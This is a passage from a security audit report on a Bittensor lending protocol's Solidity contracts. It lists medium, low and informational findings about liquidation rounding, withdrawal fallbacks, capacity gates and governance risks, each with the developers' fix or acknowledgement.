so the collateral is not worthless, but it is too small relative to the borrow share price to burn debt shares. an attacker/liquidator can deliberately leave such a residue after a borrower is deeply underwater. later, the final full-collateral close reverts, bad debt is not socialized, and early lenders may withdraw against an overstated pool asset value while remaining lenders absorb the real loss.

Recommended Mitigation: allow the zero-borrow-share case only when the liquidation seizes the borrower's full remaining collateral. in that full-close case, apply the positive `repaidAssets` amount, burn zero borrow shares if

necessary, then call `_writeOffIfEmptied()` so the remaining bad debt is socialized. keep rejecting partial liquidations where `repaidAssets > 0 && repaidShares == 0`, because those can still manufacture stranded receivables deliberately.

Mentat Minds: Fixed in [86c351f](#) with a certificate-gated full-debt deadlock clamp.

BurraSec: Fixed. The fix preserves protective reverts for normal and partial overshoots while ensuring genuinely unclosable full-debt positions can be settled and bad debt socialized.

7.2.2 root dust can block the liquid tao withdraw fallback

Target: [BtLendingPool.sol](#), [bittensor-chain-reference.md](#)

Severity:

- Impact: Medium
- Likelihood: Low

Description: `BtLendingPool.withdraw()` is meant to pay lenders from root alpha first and then use `lenderTaoBalance` as the liquid TAO fallback when root alpha is not enough. this fallback is important after deregistration/force-close and after liquidations whose repayment is held as native TAO.

the problem is that the fallback branch still tries to transfer the entire remaining root balance whenever `rootBalance > 0`:

```
uint256 rootBalance = _rootAlpha();
if (rootBalance >= assets) {
    _safeTransferStake(receiver, 0, assets);
} else {
    if (rootBalance > 0) {
        _safeTransferStake(receiver, 0, rootBalance);
    }
    uint256 shortfall = assets - rootBalance;
    if (lenderTaoBalance < shortfall) revert InsufficientLiquidity();
    lenderTaoBalance -= shortfall;
    (bool sent,) = receiver.call{value: shortfall * WEI_PER_RAO}("");
    if (!sent) revert TransferFailed();
}
```

on bittensor, same-subnet `transferStake / transferStakeFrom` reject transfers whose value is below `DefaultMinStake` (0.002 TAO). this rejection happens inside the staking precompile/runtime when `_safeTransferStake()` calls `staking.transferStake(...)`.

so a tiny root-alpha remainder can block a much larger withdrawal that could otherwise be paid from liquid TAO:

```
rootAlpha      = 0.001 TAO    // nonzero, but below DefaultMinStake
lenderTaoBalance = 10 TAO     // enough liquid TAO to pay
withdraw amount = 5 TAO
```

expected behavior:

```
skip or leave the non-transferable root dust
pay the withdrawal from lenderTaoBalance
```

actual behavior:

```
withdraw() tries to transfer 0.001 TAO of root alpha first
the staking precompile reverts AmountTooLow
the function never reaches the lenderTaoBalance fallback
```

Recommended Mitigation: make the root leg in the shortfall branch fallible or dust-aware. if `rootBalance` is below the transferable minimum, or if the root transfer fails, leave the root dust in the pool and compute the shortfall from the amount actually delivered. when `lenderTaoBalance` can cover the withdrawal, pay the user from

lenderTaoBalance instead of reverting on the root-dust transfer. keep strict behavior for the case where neither root alpha nor liquid TAO can cover the requested withdrawal.

Mentat Minds: Fixed in [6253fd8](#) by making the root transfer fallible and recomputing the liquid TAO shortfall from the actual delivered amount.

BurraSec: Fixed. Root dust can no longer block a sufficiently funded liquid-TAO fallback withdrawal.

7.2.3 capacity gate ignores liquidator bonus amm drain

Target: [UniswapV2Adapter.sol](#), [BtLendingPool.sol](#), [capacity-gate-and-trim.md](#)

Severity:

- Impact: Medium
- Likelihood: Low

Description: `UniswapV2Adapter.capacityGateBps()` implements the documented capacity gate as $1 - \sqrt{\text{LLTV} * \text{LIF}}$. the proof behind this gate assumes that each liquidation drains only the repaid debt amount from the subnet AMM, because the liquidator's bonus alpha is treated as not touching the AMM:

```
fair alpha sale -> repaid debt
bonus alpha    -> liquidator, no AMM drain
```

the actual liquidation flow allows a different path. `BtLendingPool.liquidate()` transfers the full seized alpha to the liquidator before repayment is collected

```
if (seizedAlpha > 0 && !_transferStakeOrDonate(msg.sender, netuid, seizedAlpha)) {
    emit SeizureDonated(borrower, seizedAlpha);
}

uint256 balBefore = address(this).balance;
if (data.length > 0) {
    IBtLiquidateCallback(msg.sender).onBtLiquidate(repaidAssets, data);
}
```

the liquidator only needs to return repaidAssets

```
if (taoReceivedRao < repaidAssets) revert InsufficientRepayment();
```

therefore, a callback liquidator can sell the entire seized amount through the same subnet AMM

```
fair alpha needed to repay debt
+ LIF bonus alpha
```

and return only the required repayment to the pool. this drains the AMM by more than the capacity proof budgets. e.g with $\text{LLTV} = 70\%$ and $\text{LIF} = 1.05$, the documented gate permits about 14.2% of TAO reserves as total debt. in a constant-product model with 1000 TAO / 1000 alpha, filling debt near that gate and liquidating many 0.1 TAO positions while selling the full seized alpha drains about 149.75 TAO from the AMM instead of the expected 142.68 TAO, and later liquidations can create about 0.055 TAO of bad debt. using a stricter full-sale bound of roughly 13.59% avoids that modeled bad debt.

the gap is not a catastrophic one-shot drain because the current LIF cap bounds the extra AMM sale to a small bonus band. however it means the advertised capacity gate is slightly too loose for the protocol's own zero-capital liquidation path, where selling the full seizure in the callback is an expected behavior.

Recommended Mitigation: size the capacity gate for the worst-case liquidation path where the full seized alpha, including the LIF bonus, is sold through the subnet AMM. alternatively, document that the gate only covers fair-alpha sales and enforce or incentivize callback liquidators not to route the bonus through the protected AMM.

Mentat Minds: Fixed in [d2bb550](#) by deriving the capacity gate under the full-seizure sale model and generalizing it to weighted Balancer pools.

BurraSec: Fixed. The gate now accounts for liquidation bonus AMM drain and rounding makes the enforced capacity conservative.

7.2.4 Liquidation Inverse Leaves One-RAO Collateral Dust With Borrower.

Target: UniswapV2Adapter.sol, BtOracle.sol, BtLendingPool.sol, PreLiquidation.sol

Severity:

- Impact: Low
- Likelihood: Low

Description: The adapter's fee-aware constant-product inverse applies one ceiling to the full closed-form expression, while the forward valuation first floors the fee-adjusted effective alpha (α_{Eff}) and then computes output. That ordering mismatch means $\text{valueFromReserves}(\text{inverseFromReserves}(y))$ can be strictly less than y even though the inverse returns a non-zero alpha amount.

This bug is real as a formula inconsistency. On the liquidation path ($_seizureShares \rightarrow \text{oracle.liqInverseValue} \rightarrow \text{adapter.inverseFromReserves}$), there is no on-chain simSwap guard, so the under-cover is live in sizing.

- $\text{UniswapV2Adapter.inverseFromReserves}$ is documented as a fee-aware constant-product inverse with ceiling rounding. The forward leg valueFromReserves applies the swap fee by flooring effective alpha first:

```
alphaEff = alphaAmount * (FEE_DENOM - FEE_NUM) / FEE_DENOM  // floor
value    = tau * alphaEff / (alpha + alphaEff)
```

The inverse collapses fee grossing into a single ceiling on the full expression:

```
alphaNeeded = ceil(alpha * taoAmount * FEE_DENOM / ((tau - taoAmount) * (FEE_DENOM - FEE_NUM)))
```

That is not equivalent to $\text{ceil}(\text{ceil}(\alpha * y / (\tau - y)) * \text{FEE_DENOM} / (\text{FEE_DENOM} - \text{FEE_NUM}))$.

The fee floor in the forward path can make $\text{value}(\text{inverse}(y))$ fall 1 RAO short of y even when the inverse returns a value. severity is Low because impact is bounded dust with no accumulation path to material loss.

Protocol Intent The spec treats the adapter as the canonical constant-product + fee implementation for:

- Forward value: how much TAO alpha a is worth at reserves (τ, α)
- Inverse value: how much alpha is needed to realize y TAO out Liquidation sizing uses the inverse on liq-EMA reserves (liqInverseValue) to compute fair alpha for a repayment amount, then applies LIF. Trim sizing uses inverseExecValue , which must agree with the live AMM sim.
- Intended invariant: for any valid $y < \tau$, the inverse should satisfy $\text{valueFromReserves}(\text{inverse}(y)) \geq y$ (or the chain sim must confirm $\text{simSwap}(\text{inverse}(y)) \geq y$).

root cause

forward path floors fee first

```
function valueFromReserves(uint256 tau, uint256 alpha, uint256 alphaAmount) external view returns
↳ (uint256) {
    if (alphaAmount == 0 || tau == 0) return 0;
    uint256 alphaEff = alphaAmount * (FEE_DENOM - FEE_NUM) / FEE_DENOM;
    return tau * alphaEff / (alpha + alphaEff);
}
```

- α_{Eff} uses integer floor division before the swap formula.
- Inverse path ceils the combined expression (This is the wrong domain)

```
/// @dev Fee-aware constant-product inverse (ceil).
///     Solves: taoOut = tau * a' / (alpha + a') where a' = alphaNeeded * (1 - f)
///     => alphaNeeded = ceil(alpha * taoAmount * FEE_DENOM / ((tau - taoAmount) * (FEE_DENOM - FEE_NUM)))
```

```
function inverseFromReserves(uint256 tau, uint256 alpha, uint256 taoAmount) public view returns (uint256)
{
    if (taoAmount == 0) return 0;
    if (taoAmount >= tau) revert ExceedsReserves();
    uint256 num = alpha * taoAmount * FEE_DENOM;
    uint256 den = (tau - taoAmount) * (FEE_DENOM - FEE_NUM);
    return (num + den - 1) / den;
}
```

- This is equivalent to $\text{ceil}(\alpha \cdot y / (\tau - y))$ then scaling by fee in one step, not $\text{ceil}(\text{ceil}(\alpha \cdot y / (\tau - y)) * \text{FEE_DENOM} / (\text{FEE_DENOM} - \text{FEE_NUM}))$, which is what the forward path requires.

This is where the bug is consumed

```
function _seizureShares(uint256 repaidAssets, uint256 vc)
    internal
    view
    returns (uint256)
{
    uint256 fairAlpha = oracle.liqInverseValue(repaidAssets);
    uint256 alphaOut = fairAlpha * LIF_BPS / BPS;
    return alphaOut.toSharesUp(vc, totalCollateralShares);
}
```

BtOracle.liqInverseValue -> adapter.inverseFromReserves on liq-EMA reserves. No simSwap cross-check.

PreLiquidation._computeAmounts repaid-input path also uses oracle.liqInverseValue(repaidAssets) same dust bias.

Impact

1. Under-seizure is borrower-favorable (liquidator pays full repayment, seizes up to 1 RAO less collateral). Lenders are not credited less; bad debt is not increased.
2. worst case 1 alpha RAO per liquidation ($\sim 1e-9$ TAO at $\sim 1:1$ pool price). Does not scale with trade size.

Exploit scenario

- Borrower position becomes liquidatable under normal market operation.
- Liquidator calls `liquidate(borrower, 0, repaidShares, ...)` (repay-specified path).
- Pool computes `fairAlpha = oracle.liqInverseValue(repaidAssets)` using `inverseFromReserves` on liq-EMA reserves.
- For $\sim 53\%$ of random (τ, α, y) (higher after τ crash), `valueFromReserves(fairAlpha) < repaidAssets` by 1 RAO.
- `_seizureShares` sizes seizure on the under-returned `fairAlpha`; borrower retains up to 1 RAO of collateral value vs a fee-consistent inverse.

Recommended Mitigation: Two-step ceil (matches forward floor-then-divide semantics):

```
function inverseFromReserves(uint256 tau, uint256 alpha, uint256 taoAmount) public view returns (uint256) {
    if (taoAmount == 0) return 0;
    if (taoAmount >= tau) revert ExceedsReserves();
    uint256 needAe = (alpha * taoAmount + (tau - taoAmount) - 1) / (tau - taoAmount);
    return (needAe * FEE_DENOM + (FEE_DENOM - FEE_NUM) - 1) / (FEE_DENOM - FEE_NUM);
}
```

Mentat Minds: Fixed in [6e35e80](#), using the replacement code from the finding: two-step ceil (pre-fee constant-product inverse first, then the fee gross-up), matching the forward path's floor-then-divide.

BurraSec: Fixed.

7.2.5 Liquidation rounds repaid shares down and does not recompute repaid assets

Target: [BtLendingPool.sol](#)

Severity:

- Impact: Low
- Likelihood: Medium

Description: In the `seizedCollateralShares > 0` branch of `liquidate`, `repaidAssets` is set from the AMM valuation `oracle.liqValue(fairAlpha)` and `repaidShares` is derived with `toSharesDown`. Morpho rounds the debt shares up in this branch and, more importantly, recomputes `repaidAssets = repaidShares.toAssetsUp(...)` once after the `if/else` so the pair is always consistent and every rounding favours the protocol.

Here the down rounding burns slightly fewer borrow shares than the removed assets justify, which drifts the borrow index toward borrowers and can round `repaidShares` to zero while `repaidAssets` is positive, tripping the `ZeroSharesBurned` revert on small liquidations that Morpho would process. Solvency is not affected and, thanks to the virtual shares and the share cap, no phantom debt state arises.

Recommended Mitigation: Fix only the `seizedCollateralShares > 0` branch. Round `repaidShares` up there (`repaidShares = repaidAssets.toSharesUp(...)`), then recompute the canonical `repaidAssets = repaidShares.toAssetsUp(...)` in that same branch, so the pair stays consistent and no positive assets with zero shares residue can form. Do both together, since rounding up alone without the recompute is not enough. Do not hoist a shared recompute after the `if/else` and do not change the `else` branch: it already derives `repaidAssets` from `repaidShares` with `toAssetsUp`, so the only inconsistency to correct is inside the `if` branch.

Mentat Minds: Fixed in [1a229ba](#) by rounding `repaidShares` up and recomputing `repaidAssets` from the canonical share amount in the seized-collateral branch

BurraSec: Fixed.

7.2.6 Collateral minimum position is checked in alpha, not TAO value

Target: [BtLendingPool.sol](#)

Severity:

- Impact: Low
- Likelihood: Medium

Description: `supplyCollateral` enforces `assets >= MIN_POSITION_RAO`, where `MIN_POSITION_RAO = 1e8`. On the supply side this equals 0.1 TAO, which matches the chain nominator minimum. On the collateral side the same constant is applied to subnet alpha, so the floor is 0.1 alpha, not 0.1 TAO of value. For a cheap subnet 0.1 alpha can be worth far less than 0.1 TAO.

Two consequences follow, both because the floor is denominated in cheap alpha rather than in value.

1. A collateral tuple can sit below the chain nominator minimum, which risks the position being pruned.
2. The collateral share inflation and griefing surface is much cheaper on a low priced subnet. The collateral side uses the same virtual share math as the supply side, so to push a minimum collateral deposit to zero shares or a heavy rounding loss an attacker must donate about $1e6$ times the minimum in alpha. Because the minimum and the donation are in alpha, the TAO cost is far below the supply side equivalent. On a subnet priced at 0.001 TAO per alpha, griefing a minimum deposit needs about $1e5$ alpha, which is about 100 TAO, against about 100,000 TAO to grief a 0.1 TAO supply deposit.

Recommended Mitigation: Enforce the collateral minimum as a TAO value floor by marking the alpha to price before the comparison, the same way the seizure and dust close logic already reason about value rather than raw alpha.

Mentat Minds: Fixed in [78e1712](#) by requiring collateral to satisfy both the raw alpha minimum and a 0.1 TAO borrow-reference value minimum.

BurraSec: Fixed.

7.2.7 Pre-liquidation incentive is not capped to the pool liquidation incentive

Target: [PreLiquidation.sol](#)

Severity:

- Impact: Medium
- Likelihood: Low

Description: The pre-liquidation factory only bounds `preLif2Bps` by $BPS * BPS / lltv$. At a 50 percent LLTV this allows 20000 BPS, which is a 200 percent incentive. The pool's own liquidation incentive is derived from LLTV and hard capped at `MAX_LIF_BPS = 10500`, that is 5 percent. Nothing ties the pre-liquidation incentive to the pool incentive, so a pre-liquidation can pay a much larger incentive than a normal liquidation of the same position.

Pre-liquidation runs in the band below LLTV, where the position is still healthy for a normal liquidation, so an oversized `preLIF` lets a pre-liquidator seize more value from a borrower than a liquidator ever could, and the borrower's own withdraw health check does not catch value extraction, only a worsening of the loan to value.

Recommended Mitigation: Clamp the pre-liquidation incentive to the pool liquidation incentive (`pool.LIF_BPS()`) at configuration time, so a pre-liquidation can never be more rewarding than a liquidation of the same collateral.

Mentat Minds: Fixed in [ee1a1dd](#): `preLif2Bps <= pool.LIF_BPS()` required in the `PreLiquidation` constructor. The economic bound is always tighter than the structural $BPS^2/LLTV$ bound because the factory enforces $l * \lambda < 1$. Morpho's pre-liquidation caps only at $1/LLTV$, but at our LLTV range (50–80%) the gap to pool LIF is large enough to matter, hence the tighter cap.

BurraSec: Fixed.

7.2.8 Trim rounding residue over-values collateral and can over-distribute forceClose proceeds

Target: [BtLendingPool.sol](#)

Severity:

- Impact: Low
- Likelihood: High

Description: `trim` adds the exact `actualRemoved` to `trimSoldAlpha`, but the per borrower charge is floored twice: once when the accumulator increment is computed ($actualRemoved * TRIM_PRECISION / totalBorrowShares$) and again when each borrower's pending is computed. The sum of all pending is therefore strictly less than `actualRemoved` whenever the divisions are inexact, which is almost always.

`_settleTrim` drains `trimSoldAlpha` by pending, so after every borrower has settled a small residue remains that never returns to zero. `_virtualCollateral` stays over-stated by this residue, so collateral share price and effective collateral are inflated by dust. In `forceClose` the same residue means the per borrower slices, which use `deregVC - trimSoldAlpha` in the denominator, can sum marginally above the pot. The magnitude is on the order of one RAO per trim, so no meaningful loss, but it is a permanent monotonic drift.

Recommended Mitigation: In `forceClose`, track a running remaining pot and clamp each borrower's proceeds to what is left, so the slices can never sum above `deregProceeds` and the residue simply stays with lenders. Optionally sweep or zero the trim residue once all positions have settled.

Mentat Minds: Fixed in [f45ecef](#) by adding a remaining-pot tracker & clamping each `forceClose` payout to the available deregistration proceeds.

BurraSec: Fixed. The cumulative payout is now structurally bounded by `deregProceeds`, residual rounding dust remains with lenders.

7.2.9 Withdraw pays lenders with a raw call that can fail for a contract receiver

Target: [BtLendingPool.sol](#)

Severity:

- Impact: Low
- Likelihood: Low

Description: When root stake is insufficient, `withdraw` pays the shortfall in native TAO with `receiver.call{value: shortfall * WEI_PER_RAO}("")` and reverts on failure. This works for an externally owned account but can fail for a contract receiver that has no payable fallback or that runs out of gas, so an integrating contract can be unable to withdraw its lender position through this path.

Recommended Mitigation: Document that a contract receiver on the native payout path must accept plain value transfers, or add a pull based fallback (credit the amount to a claimable balance) so a receiver that cannot accept the direct transfer is not permanently stuck.

Mentat Minds: Documented in [67a4c1f](#) (the documentation option): `withdraw`'s NatSpec and the spec now state that a contract receiver on the native payout path must accept a plain value transfer, and why we prefer this to the pull-based fallback: the receiver is caller-chosen on every call, so a rejecting receiver is retryable with a different one, while a claimable-balance ledger would credit the same non-receiving address, a new claim surface that doesn't cover the one case the strict path can't handle. The docs also state the general rule the code follows: caller-initiated flows (`withdraw`, `liquidate`'s refund) revert on delivery failure; settlement flows a party didn't initiate (`forceClose equity`) never block on their receive path.

BurraSec: Fixed by clarifying documentation.

7.3 Informational

7.3.1 Interest is not accrued before deregistration

Target: [BtLendingPool.sol](#)

Severity:

- Impact: Low
- Likelihood: Low

Description: Subnet can be deregistered, however interest can't be accrued after deregistration:

```
function accrueInterest() external nonReentrant whenNotHalted {
    _requireSubnetCurrent();
    _accrueInterest();
}
```

Basically interest can't be accrued in period `[lastAccrualTime; deregistration]` because deregistration already happened and there is no timestamp for it. It means that protocol underestimates total and individual debt. It means that in `forceClose()` it overestimates proceeds and sends that overestimation to borrower. That amount basically belongs to lenders. So such behaviour slightly redistributes TAO from lenders to borrowers.

Recommended Mitigation: Looks like design limitation, consider acknowledging.

Mentat Minds: Acknowledged as a design limitation. The runtime provides no deregistration timestamp, so the final unaccrued interval (last accrual to the dissolve trigger) goes unbooked; that interest falls on lenders pro-rata, consistent with how dereg losses are socialized elsewhere in the flow. Incremental dissolution (spec_version 432) does not change this: the dissolve trigger still carries no readable timestamp, and the multi-block settlement that follows affects when proceeds can be snapshotted, not how much interest went unbooked. Documented in the spec's deregistration section.

BurraSec: Acknowledged.

7.3.2 Code hardening: missing events and floating pragmas

Target: [BtLendingFactory.sol](#), [BtOracle.sol](#), [interfaces](#)

Severity: Informational

Description: Two general hardening items grouped together.

1. Several state changing admin actions do not emit events. The factory constructor sets `owner`, `feeRecipient`, `guardian` and `registry` without emitting the corresponding events, and the default `baseRate` and `fee` set at deployment are not emitted. The oracle constructor sets `adapter` without emitting `AdapterSet`. This makes off chain indexing of the initial configuration incomplete.
2. The interface files (`IAddressMapping`, `IBtOracle`, `IStakingV2`) use a floating pragma `solidity ^0.8.0`, while the rest of the codebase pins `0.8.24`. A floating pragma allows the interfaces to compile under a different compiler version than the contracts that use them.

Recommended Mitigation: Emit the corresponding events from the constructors and for default values set at deployment. Pin the interface pragmas to `0.8.24` to match the rest of the codebase.

Mentat Minds: Fixed in [2141179](#).

BurraSec: Fixed.

7.3.3 Registry and adapter can be swapped instantly, freezing pools or forcing settlement of a live subnet

Target: [BtLendingFactory.sol](#), [BtOracle.sol](#)

Severity: Informational

Description: `setRegistry` (owner only) replaces the subnet registry that every pool reads through `factory.networkRegisteredAt`, and `setAdapter` (owner only) replaces a pool oracle's AMM adapter. Neither is timelocked and neither validates that the new contract returns values consistent with the pools that already exist.

A registry that returns a value different from a pool's stored `regBlock` makes `_subnetDead()` true for that pool, which reverts every value flow. A single bad `setRegistry` freezes all pools at once. Worse, `networkRegisteredAt != regBlock` is exactly the condition `setDeregistrationCompleted` requires, so after such a swap the owner can mark a live subnet as deregistered and call `forceClose`. `forceClose` then reads `deregProceeds` from the contract balance, which is near zero while the collateral is still staked, writes off borrower debt as bad debt, and zeroes every position while the real alpha remains in the pool. That path is not recoverable.

The adapter swap has the same shape at the level of one pool, since a new adapter reporting zero reserves also flips `_subnetDead()`.

Recommended Mitigation: Put `setRegistry` and `setAdapter` behind a timelock. Have `setRegistry` validate the replacement against a sample of known live pools (require it to return the same `regBlock`) before it is accepted.

Mentat Minds: Acknowledged. `setAdapter` is halt-gated in the redesigned oracle; `setRegistry` sits in the same trust bucket as the other owner powers. We considered a `regBlock` validation check on `setRegistry` for this round, as a cheap alternative to a timelock, and decided against shipping it: the factory cannot enumerate pool `netuids` on-chain, so the check degrades to a partial probe rather than real validation, and we prefer not to add machinery of that shape to a certified tree. A registry-swap safeguard is queued with the governance hardening (multisig and timelock roadmap) where it belongs.

BurraSec: Acknowledged.

7.3.4 All pools stake to one immutable hotkey with no recovery if it loses validator status

Target: [BtLendingPool.sol](#), [BtLendingFactory.sol](#)

Severity: Informational

Description: Every pool stakes all lender root alpha and all collateral alpha under a single `hotkey` read from the factory at deployment. The value is immutable in both the factory and the pool, and there is no migration function (`moveStake` is never called). If that validator loses its permit or is deregistered as a neuron, the pool cannot switch to another validator.

The direct consequence is loss of yield. Root dividends for lenders and alpha dividends on collateral both stop, and the pool has no way to recover the yield. Deposits themselves stay safe, since unstaking survives a hotkey losing validator status. The validator also sets its own take, so a greedy validator can capture most of the emissions, and the pool cannot move away from it.

Recommended Mitigation: Add a governance controlled hotkey migration path (a `moveStake` based function, run under a halt) that moves the root stake and every collateral tuple from the current hotkey to a new validator.

Mentat Minds: Acknowledged as deliberate v1 scope. `moveStake` under governance is a feature with its own trust surface (the owner could redirect stake), not a bug fix; deposits remain withdrawable if the hotkey loses validator status; the stake keeps earning nothing but stays intact. Flagged for the post-launch governance upgrade.

BurraSec: Acknowledged.

7.3.5 The staking precompile gas cap may be too low and can block liquidations

Target: [BtLendingPool.sol](#)

Severity: Informational

Description: The fallible staking calls forward a fixed stipend, `FALLIBLE_CALL_GAS = 2_000_000`. The cap exists because a failed precompile dispatch burns the entire forwarded gas, so bounding it limits the loss on a legitimate failure. The cap also bounds the success path. If a real `transferStake` or `addStake` needs more than 2,000,000 gas, the call always fails.

For liquidation this is systemic. If the seizure leg (`_transferStakeOrDonate`) runs out of gas it donates the seized alpha and the liquidation continues, but the liquidator now has no alpha to sell in the callback, so `taoReceivedRao < repaidAssets` may revert the whole liquidation. If the gas requirement ever exceeds the cap, positions become unliquidatable and bad debt accumulates. The failure is size independent, so it is not limited to dust the way the minimum stake floor is.

Recommended Mitigation: Make `FALLIBLE_CALL_GAS` adjustable through governance (kept bounded) so a runtime weight change can be absorbed without a redeploy. Monitor `SeizureDonated` frequency, since a spike on non dust amounts signals the cap has become insufficient.

Mentat Minds: Acknowledged. The 2M gas cap works under current runtime weights; making it owner-adjustable adds a governance surface for a failure mode that has not materialized. We monitor `SeizureDonated` events for early signal and can adjust via the upgrade path if runtime weights change.

BurraSec: Acknowledged.

7.3.6 Liquidator overpayment through `msg.value` is not refunded

Target: [BtLendingPool.sol](#)

Severity: Informational

Description: `liquidate` accepts repayment through `msg.value`, the callback, or both, and only checks `taoReceivedRao < repaidAssets`. Any amount above `repaidAssets` is kept by the pool and accrues to lenders. In Morpho a liquidator pays only what is needed, so this is a divergence. The excess is the liquidator's own funds, so there is no loss to the protocol, but a liquidator that overpays, or is scripted to send a round number, silently loses the difference.

Recommended Mitigation: Refund the excess (`taoReceivedRao - repaidAssets`) to the liquidator, or document clearly that overpayment is not returned so integrators size `msg.value` exactly.

Mentat Minds: Fixed in [3bf4166](#) with the refund option: the pool books and stakes exactly `repaidAssets`; everything received above it returns to the liquidator wei-exact at the end of the call (native transfer after all state effects; a caller whose receive path rejects it reverts the call). We chose the refund over the documentation option because exact sizing isn't achievable: the bill is finalized in-transaction (interest to the executed block, oracle at execution), so a margin is structurally required; documenting the swallow would formalize a mandatory loss. Wei-exact refunding also returns the sub-RAO flooring dust that previously stranded in the contract balance. Test added: an overpaid liquidation's net outflow equals gas + bill exactly.

BurraSec: Fixed by sending excess amount.

7.3.7 Supply share inflation through donation is possible but not economical

Target: [BtLendingPool.sol](#)

Severity: Informational

Description: `totalAssets` reads the pool root stake live through `getStake`, so unlike Morpho's stored totals the exchange rate can be moved by donating stake directly into the pool tuple. This reopens the classic first depositor inflation surface, both the zero shares variant and the rounding loss variant. Both are defused by the virtual shares (`VIRTUAL_SHARES = 1e6`) together with the entry minimum position (`MIN_POSITION_RAO = 1e8`) and the `ZeroSharesMinted` revert.

The rounding loss variant is the one that could in principle cause a partial loss rather than a full rejection. It does not pay. Worked example: an attacker donates 10 TAO ($1e10$ RAO) into an empty pool holding no shares, then a victim deposits 10 TAO. The victim receives $1e10 * 1e6 / (1e10 + 1) = 999,999$ shares, and on withdrawing them gets $999,999 * 2e10 / 1,999,999 = 9,999,995,000$ RAO, that is 9.999995 TAO. The victim loses 5,000 RAO, about 0.000005 TAO, while the attacker's entire 10 TAO donation is stuck against the virtual shares. The attacker burned 10 TAO to cost the victim 5,000 RAO, a ratio of about 2,000,000 to 1.

The bound is general. The victim's rounding loss is at most one share of value, and the $1e6$ virtual shares cap the per share value at about $totalAssets / 1e6$. To inflict a loss of L on the victim the attacker must push `totalAssets` to about $L * 1e6$, that is donate about $L * 1e6$ and lose it, so roughly 1,000,000 TAO to cause a 1 TAO victim loss. Depositing first to recover the loss makes it worse, since the first minimum deposit into an empty pool mints $1e14$ shares and dilutes the donation by a further $1e6$.

The donation surface is also narrow, since only the root stake is donatable through a transfer, while raw native TAO sent to the contract is not counted in `totalAssets`.

Recommended Mitigation: The behaviour is documented here for completeness. If extra defense in depth is wanted, tracking root and collateral totals internally from before and after deltas would remove the donation surface entirely.

Mentat Minds: Acknowledged, no code change. Virtual shares ($1e6$), `MIN_POSITION_RAO`, and the `ZeroSharesMinted` revert produce the ~2M:1 cost ratio your analysis computed; we agree it is not economical and prefer not to add internal balance tracking for a vector priced out by construction.

BurraSec: Acknowledged.

7.3.8 Trim can charge other collateral holders for an underwater borrower's deficit

Target: [BtLendingPool.sol](#)

Severity: Informational

Description: In the full wipe branch of `_settleTrim` (`pending >= collAlpha`), `trimSoldAlpha` is drained by the full pending while only the borrower's smaller collateral shares are burned, so `_virtualCollateral` drops faster than the share supply and every other collateral holder's share price falls. This is not a double socialization: a conservation check shows the underwater borrower's deficit splits into an amount borne by other collateral holders and the residual debt written off to lenders, and the two sum to the deficit exactly. It is a departure from the isolated collateral norm, since collateral holders bear part of a bad debt that would otherwise fall only on lenders, but it is documented and intentional, and draining by pending rather than by seize is deliberately chosen to keep the phantom accounting consistent.

The case is reachable only when the off chain "no liquidatable positions" precondition is violated between `trim` and `settleTrim`, for example by a price move or interest accrual. Under the precondition and the on chain `deltaSafe` bound, pending never exceeds collateral and share price is exactly neutral.

Note that the alternative of draining by seize would be worse, since it orphans the uncovered remainder in `trimSoldAlpha`, permanently inflating `_virtualCollateral` and understating the `forceClose` denominator.

Recommended Mitigation: No code change. Consider clarifying in the documentation that in the off regime case the collateral share price does drop by a bounded factor, which the current text softens.

Mentat Minds: Confirmed and intentional. In the off-regime case the collateral share price drops for remaining holders. The regime precondition (no liquidatable positions at trim time) and this consequence are now stated in `trim()`'s `NatSpec` ([b4f9be8](#)), alongside the `deltaSafe` invariant and the transparency property (also covered under finding 24), including the off-regime caveat where that reasoning stops applying.

BurraSec: Fixed by clarifying documentation in [b4f9be8](#).